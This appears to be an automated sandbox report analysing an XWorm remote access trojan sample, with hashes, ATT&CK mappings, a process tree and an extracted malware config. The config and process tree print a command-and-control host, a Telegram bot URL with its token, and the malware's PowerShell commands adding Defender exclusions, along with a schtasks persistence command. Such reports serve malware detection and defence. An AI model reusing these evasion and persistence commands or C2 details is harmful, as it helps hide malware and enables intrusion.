xworm | be3d0c50cd0ce1a3a48d2e23a8661fbcc0f8b8e77f8da32ed1be95a381ebd200

Analysis

max time kernel
150s
max time network
141s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
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General

Target
be3d0c50cd0ce1a3a48d2e23a8661fbcc0f8b8e77f8da32ed1be95a381ebd200.exe
Size 125KB
Sample260728-29xcmsyemb
SHA256 be3d0c50cd0ce1a3a48d2e23a8661fbcc0f8b8e77f8da32ed1be95a381ebd200
MD5 61948b468acb8e3b839707c7ce52a114
SHA1 65563931973d16082f72e3337456ea49fc9c7b53
SHA512 58afc7311a866a07afbad2bda874c592224ea338f6483996ffa71d7035b8a81ad8dcd75981f58738351b12e55d87e1caeef485c7db81b4eee1aa885d2a54c375
SSDEEP 3072:JbA9OiHBxpSkuGw0JJpReTfX9fEk6cEfUWkzGqwNMzkj:MOGfpxuyJNlTOz4Mzk
TLSH
T177C3126DAF881423F0BD42766363314B827B7E06FBDC842F45CC909A4E0467E9957BB8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution xworm persistence rat trojan

Malware Config

Extracted

Family

xworm

nothing-journalism.gl.at.ply.gg:6358

Attributes

Install_directory
%LocalAppData%
install_file
RuntimeBroker.exe
localhost
127.0.0.1
telegram
https://api.telegram.org/bot7980080427:AAFhBn5uKi1yLcpfkQap4Ka_afLW2gP5mKs/sendMessage?chat_id=5276246144

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000e00000001c475-28.dat	family_xworm
behavioral2/memory/5740-35-0x00000000005D0000-0x00000000005EA000-memory.dmp	family_xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3200	powershell.exe
4684	powershell.exe
2320	powershell.exe
4808	powershell.exe

Executes dropped EXE 5 IoCs

pid	Process
1556	RuntimeBroker.exe
5740	Runtime Broker.exe
4488	RuntimeBroker.exe
1096	RuntimeBroker.exe
5284	RuntimeBroker.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "C:\\Users\\Admin\\AppData\\Local\\RuntimeBroker.exe"	Runtime Broker.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5720 set thread context of 2688	5720	be3d0c50cd0ce1a3a48d2e23a8661fbcc0f8b8e77f8da32ed1be95a381ebd200.exe	89

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	be3d0c50cd0ce1a3a48d2e23a8661fbcc0f8b8e77f8da32ed1be95a381ebd200.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RuntimeBroker.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2864	schtasks.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2320	powershell.exe
2320	powershell.exe
4808	powershell.exe
4808	powershell.exe
3200	powershell.exe
3200	powershell.exe
4684	powershell.exe
4684	powershell.exe
5740	Runtime Broker.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5740	Runtime Broker.exe
Token: SeDebugPrivilege	2320	powershell.exe
Token: SeIncreaseQuotaPrivilege	2320	powershell.exe
Token: SeSecurityPrivilege	2320	powershell.exe
Token: SeTakeOwnershipPrivilege	2320	powershell.exe
Token: SeLoadDriverPrivilege	2320	powershell.exe
Token: SeSystemProfilePrivilege	2320	powershell.exe
Token: SeSystemtimePrivilege	2320	powershell.exe
Token: SeProfSingleProcessPrivilege	2320	powershell.exe
Token: SeIncBasePriorityPrivilege	2320	powershell.exe
Token: SeCreatePagefilePrivilege	2320	powershell.exe
Token: SeBackupPrivilege	2320	powershell.exe
Token: SeRestorePrivilege	2320	powershell.exe
Token: SeShutdownPrivilege	2320	powershell.exe
Token: SeDebugPrivilege	2320	powershell.exe
Token: SeSystemEnvironmentPrivilege	2320	powershell.exe
Token: SeRemoteShutdownPrivilege	2320	powershell.exe
Token: SeUndockPrivilege	2320	powershell.exe
Token: SeManageVolumePrivilege	2320	powershell.exe
Token: 33	2320	powershell.exe
Token: 34	2320	powershell.exe
Token: 35	2320	powershell.exe
Token: 36	2320	powershell.exe
Token: SeDebugPrivilege	4808	powershell.exe
Token: SeIncreaseQuotaPrivilege	4808	powershell.exe
Token: SeSecurityPrivilege	4808	powershell.exe
Token: SeTakeOwnershipPrivilege	4808	powershell.exe
Token: SeLoadDriverPrivilege	4808	powershell.exe
Token: SeSystemProfilePrivilege	4808	powershell.exe
Token: SeSystemtimePrivilege	4808	powershell.exe
Token: SeProfSingleProcessPrivilege	4808	powershell.exe
Token: SeIncBasePriorityPrivilege	4808	powershell.exe
Token: SeCreatePagefilePrivilege	4808	powershell.exe
Token: SeBackupPrivilege	4808	powershell.exe
Token: SeRestorePrivilege	4808	powershell.exe
Token: SeShutdownPrivilege	4808	powershell.exe
Token: SeDebugPrivilege	4808	powershell.exe
Token: SeSystemEnvironmentPrivilege	4808	powershell.exe
Token: SeRemoteShutdownPrivilege	4808	powershell.exe
Token: SeUndockPrivilege	4808	powershell.exe
Token: SeManageVolumePrivilege	4808	powershell.exe
Token: 33	4808	powershell.exe
Token: 34	4808	powershell.exe
Token: 35	4808	powershell.exe
Token: 36	4808	powershell.exe
Token: SeDebugPrivilege	3200	powershell.exe
Token: SeIncreaseQuotaPrivilege	3200	powershell.exe
Token: SeSecurityPrivilege	3200	powershell.exe
Token: SeTakeOwnershipPrivilege	3200	powershell.exe
Token: SeLoadDriverPrivilege	3200	powershell.exe
Token: SeSystemProfilePrivilege	3200	powershell.exe
Token: SeSystemtimePrivilege	3200	powershell.exe
Token: SeProfSingleProcessPrivilege	3200	powershell.exe
Token: SeIncBasePriorityPrivilege	3200	powershell.exe
Token: SeCreatePagefilePrivilege	3200	powershell.exe
Token: SeBackupPrivilege	3200	powershell.exe
Token: SeRestorePrivilege	3200	powershell.exe
Token: SeShutdownPrivilege	3200	powershell.exe
Token: SeDebugPrivilege	3200	powershell.exe
Token: SeSystemEnvironmentPrivilege	3200	powershell.exe
Token: SeRemoteShutdownPrivilege	3200	powershell.exe
Token: SeUndockPrivilege	3200	powershell.exe
Token: SeManageVolumePrivilege	3200	powershell.exe
Token: 33	3200	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5740	Runtime Broker.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 5720 wrote to memory of 2688	5720	be3d0c50cd0ce1a3a48d2e23a8661fbcc0f8b8e77f8da32ed1be95a381ebd200.exe	89
PID 5720 wrote to memory of 2688	5720	be3d0c50cd0ce1a3a48d2e23a8661fbcc0f8b8e77f8da32ed1be95a381ebd200.exe	89
PID 5720 wrote to memory of 2688	5720	be3d0c50cd0ce1a3a48d2e23a8661fbcc0f8b8e77f8da32ed1be95a381ebd200.exe	89
PID 5720 wrote to memory of 2688	5720	be3d0c50cd0ce1a3a48d2e23a8661fbcc0f8b8e77f8da32ed1be95a381ebd200.exe	89
PID 5720 wrote to memory of 2688	5720	be3d0c50cd0ce1a3a48d2e23a8661fbcc0f8b8e77f8da32ed1be95a381ebd200.exe	89
PID 2688 wrote to memory of 1556	2688	RegAsm.exe	90
PID 2688 wrote to memory of 5740	2688	RegAsm.exe	92
PID 5740 wrote to memory of 2320	5740	Runtime Broker.exe	94
PID 5740 wrote to memory of 4808	5740	Runtime Broker.exe	97
PID 5740 wrote to memory of 3200	5740	Runtime Broker.exe	99
PID 5740 wrote to memory of 4684	5740	Runtime Broker.exe	101
PID 5740 wrote to memory of 2864	5740	Runtime Broker.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\be3d0c50cd0ce1a3a48d2e23a8661fbcc0f8b8e77f8da32ed1be95a381ebd200.exe
"C:\Users\Admin\AppData\Local\Temp\be3d0c50cd0ce1a3a48d2e23a8661fbcc0f8b8e77f8da32ed1be95a381ebd200.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5720
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe
    "C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1556
- - C:\Users\Admin\AppData\Roaming\Runtime Broker.exe
    "C:\Users\Admin\AppData\Roaming\Runtime Broker.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:5740
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Runtime Broker.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2320
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Runtime Broker.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4808
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\RuntimeBroker.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3200
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RuntimeBroker.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4684
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "RuntimeBroker" /tr "C:\Users\Admin\AppData\Local\RuntimeBroker.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2864

C:\Users\Admin\AppData\Local\RuntimeBroker.exe
C:\Users\Admin\AppData\Local\RuntimeBroker.exe
1⤵
- Executes dropped EXE
PID:4488

C:\Users\Admin\AppData\Local\RuntimeBroker.exe
"C:\Users\Admin\AppData\Local\RuntimeBroker.exe"
1⤵
- Executes dropped EXE
PID:1096

C:\Users\Admin\AppData\Local\RuntimeBroker.exe
"C:\Users\Admin\AppData\Local\RuntimeBroker.exe"
1⤵
- Executes dropped EXE
PID:5284

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e690ed49fcdfe7b30b6013add4ff21d99e21378f623a419078a513d3ed836962
MD5 56cc3df5e1aeb92db84014dac50c3e93
SHA1 f243c4869381f95670fa26710c26eaf8c6700adf
SHA512 79faea1b24f6e94b7e1fd4e04abdbba224ee334f7750897f8d80f0e785633f5fe4f5b1f3357a22b0c03f1694eb3d22d347b040644321b40f7ef8a8ac4d2fa236
TLSH
T127216837B3DC8610C89A413A10CDAC5436B6C7DB80DECFAB7B85E659A42F699CE61160
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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bde477a8c87f91451618f3effe4bc6c5b36c5f30056e1005ceade8eb68db8b54
MD5 ab530ef5201aa22d483c3f0cc2ba6615
SHA1 d12d323401676d69477b09981ccdd2a9e969b563
SHA512 bc70f76e64af73be880911bc60f01450e04361804ae22a3a4133ca465e048d111d88669e2b8d2d5046b4f947f8bf95f3da99e7e2476e7668829ca85adc57b60c
TLSH
T1C3216837B3DD8614C89A413A10CDAD1036B6CBDB40DECE5B6B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 31f54a84498a62f4280cdad450e7e459b75378c7e67bfcf3279f493410eef07a
MD5 dcd0d48e287a2fa1fc2c2116c1997c88
SHA1 aa1c4035e6666763d1ccd82b32b9541f4b42b1be
SHA512 b4af5e7ff27bffe7527094d4187b934df549bcd1f31df3853c1ff317f47e60165682f740ee3279f573d5ea8adfd586aee37095800fcb77aa348011284ce99859
TLSH
T18C216833B3DD8624C89A413A10CDAC1036B6C7DB41DECFAB6B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_pycktvxq.ji5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pycktvxq.ji5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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Runtime Broker.exe

Path C:\Users\Admin\AppData\Roaming\Runtime Broker.exe
Size 81KB
SHA256 d75d7647e25c3a17e2a7e06678e7359a36479d9a928b5f33063ecbc46783f746
MD5 61647ef7d11c2f15f2781358a6b3c071
SHA1 99c56650cbb84a8538261545acac07f821e71041
SHA512 f1319dc6d69d3da5ad7ad1917e13426d038b863f9165604a8b7d57a09ca96064058b414624c7abf7757119007cf1a8588e01c965516e86974b2b74d6c07dfc6e
SSDEEP 1536:TR1PIzQTjwZtnqZaGcLSAbxUehZmCsYi+/6KizxxVXhBOa77xs8:bwzQT0qZULSAbxUOxcxVRBOa77xx
TLSH
T17C837D2C3BEA0028E1FFAFB05EE57257DA39B3235902E55F24D5028A1723A85CE517F5
MD5 SHA1 SHA512 SSDEEP TLSH

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RuntimeBroker.exe

Path C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe
Size 15KB
SHA256 e0c3ac2329b85f2bcd66863aa7fa5d8f38de76d4cc9f91fe9e72697385b8afa0
MD5 7c463d13d7b9d1564a9b084ff91e1c70
SHA1 706242290b6c823ed143de5bb8f95b66081fb50c
SHA512 97e77150c5aebb8b785a796b5c43527c3717e051665b4dfc5fcc852b86817d1a6776fd01b73bf2baf4ada381d1dff8f098d04d7d408cb45d8845a6e307875df2
SSDEEP 96:+MCozDiubPl23vjgwjw3RY754rvzAUSRxNY:+Mnpl2/k3u754rvqW
TLSH
T1AC62C75EF9D0DB32C035A1F78E19A96DE1ED90923B2211E75BA62C152D381D9C97310F
MD5 SHA1 SHA512 SSDEEP TLSH

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memory/2320-43-0x00000265E7480000-0x00000265E74A2000-memory.dmp

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memory/2320-46-0x00000265E7520000-0x00000265E753E000-memory.dmp

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memory/2320-48-0x00000265E7810000-0x00000265E781A000-memory.dmp

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memory/2320-47-0x00000265E7540000-0x00000265E75F2000-memory.dmp

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memory/2688-13-0x0000000075050000-0x000000007580C000-memory.dmp

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memory/2688-15-0x0000000075050000-0x000000007580C000-memory.dmp

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memory/2688-12-0x0000000005230000-0x00000000052CC000-memory.dmp

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memory/2688-11-0x0000000000400000-0x0000000000422000-memory.dmp

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memory/2688-36-0x0000000075050000-0x000000007580C000-memory.dmp

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memory/5720-9-0x0000000004C40000-0x0000000004C64000-memory.dmp

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memory/5720-0-0x0000000075062000-0x0000000075063000-memory.dmp

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memory/5720-5-0x0000000004D10000-0x0000000004D86000-memory.dmp

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memory/5720-1-0x0000000000070000-0x0000000000096000-memory.dmp

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memory/5720-2-0x0000000005190000-0x000000000574A000-memory.dmp

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memory/5720-16-0x0000000075050000-0x000000007580C000-memory.dmp

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memory/5720-3-0x0000000004C70000-0x0000000004D02000-memory.dmp

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memory/5720-4-0x0000000004BD0000-0x0000000004BDA000-memory.dmp

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memory/5720-8-0x0000000075050000-0x000000007580C000-memory.dmp

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memory/5720-6-0x0000000075050000-0x000000007580C000-memory.dmp

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memory/5720-10-0x0000000004E10000-0x0000000004E2E000-memory.dmp

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memory/5720-7-0x0000000075062000-0x0000000075063000-memory.dmp

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memory/5740-40-0x00007FFCD4A70000-0x00007FFCD5414000-memory.dmp

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memory/5740-39-0x00007FFCD4A70000-0x00007FFCD5414000-memory.dmp

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memory/5740-38-0x00007FFCD4A70000-0x00007FFCD5414000-memory.dmp

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memory/5740-34-0x00007FFCD4BFF000-0x00007FFCD4C00000-memory.dmp

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memory/5740-35-0x00000000005D0000-0x00000000005EA000-memory.dmp

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memory/5740-69-0x00007FFCD4A70000-0x00007FFCD5414000-memory.dmp

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